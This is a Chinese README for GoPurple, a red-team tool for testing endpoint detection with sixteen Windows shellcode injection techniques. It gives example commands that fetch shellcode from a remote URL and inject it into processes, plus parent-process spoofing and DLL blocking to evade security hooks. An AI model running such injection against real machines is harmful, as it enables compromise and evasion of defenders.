此项目是多种Shell代码注入技术的简单集合,旨在简化端点检测评估的流程,同时挑战自我以进入Golang世界。
1 - 需要安装 Go。
2 - 在项目目录下构建应用程序:go build。如果构建系统不是Windows,请设置 GOOS=windows。
_____ _
/ ____| | |
| | __ ___ _ __ _ _ _ __ _ __ | | ___
| | |_ |/ _ \| '_ \| | | | '__| '_ \| |/ _ \
| |__| | (_) | |_) | |_| | | | |_) | | __/
\_____|\___/| .__/ \__,_|_| | .__/|_|\___|
| | | |
|_| |_| by @s3cdev
-a string
程序命令行参数
-b string
阻止DLL模式(QueueUserAPC 的 nonms/onlystore)
-p int
注入Shellcode的目标进程ID
-prog string
注入的目标程序
-t string
使用的Shellcode注入技术:
1: CreateFiber
2: syscall
3: CreateThreadNative
4: CreateProcess
5: EtwpCreateEtwThread
6: CreateRemoteThread
7: RtlCreateUserThread
8: CreateThread
9: CreateRemoteThreadNative
10: CreateProcessWithPipe
11: QueueUserAPC
12: CreateThreadpoolWait
13: BananaPhone
14: EnumerateLoadedModules
15: EnumChildWindows
16: EnumPageFilesW
-u string
托管Shellcode的URL
需要生成一个Shellcode,可以使用 msfvenom 或 shad0w 等工具。然后将Shellcode托管到远程服务器,以便远程机器下载并执行。为清晰起见,以下演示展示了使用该工具的不同方式。
1 - 使用BananaPhone方法进行Shellcode注入 + Shad0w作为Shellcode生成器

2 - 使用QueueUserAPC技术进行Shellcode注入 + Shad0w作为Shellcode生成器 + 伪造父进程ID(以explorer为父进程ID)+ 通过伪造父进程启动包含Shellcode的进程(calc)+ 保护进程免受未签名DLL挂钩,仅允许Microsoft签名DLL挂钩该进程。

3 - 使用CreateFiber进行Shellcode注入 + msfvenom作为Shellcode生成器

1 - gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)
2 - gopurple.exe -u urlhostingpayload -t 2 (Syscall)
3 - gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)
4 - gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)
5 - gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)
6 - gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)
7 - gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)
8 - gopurple.exe -u urlhostingpayload -t 8 (CreateThread)
9 - gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)
10 - gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (例如:C:\Windows\System32\WindowsPowerShell\v1.0) 以及 processargument (例如:Get-Process) (CreateProcessWithPipe)
11 - gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms 或 onlystore) (QueueUserAPC)
nonms = 仅允许Microsoft签名的DLL挂钩该进程
onlystore = 仅允许Microsoft Store应用程序的进程挂钩该进程
12 - gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)
13 - gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)
14- gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)
15- gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)
16- gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)
所有功劳归于以下各位,感谢他们出色的研究、工具和灵感:
ne0nd0g:本项目的大部分内容借鉴自 go-shellcode
spotheplanet:博客文章 启发我将该方法转换为 Golang
_d00mfist:在 Golang 中实现了出色的 QueueUserAPC 技术
c__sto:BananaPhone 技术
batsec:出色的 shad0w
S4R1N:引入了新的替代代码执行方式
感谢 brimston3 的支持和贡献
(https://github.com/Ne0nd0g/go-shellcode)
(https://github.com/D00MFist/Go4aRun)
(https://github.com/BishopFox/sliver)
(https://posts.specterops.io/going-4-a-run-eb263838b944)
(https://github.com/C-Sto/BananaPhone)
(https://blog.xpnsec.com/protecting-your-malware)
(https://github.com/3xpl01tc0d3r/ProcessInjection)
(https://github.com/S4R1N/AlternativeShellcodeExec)
本项目仅用于教育和道德测试目的。未经事先双方同意,使用GoPurple攻击目标是违法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,也不对因使用本程序造成的任何滥用或损害负责。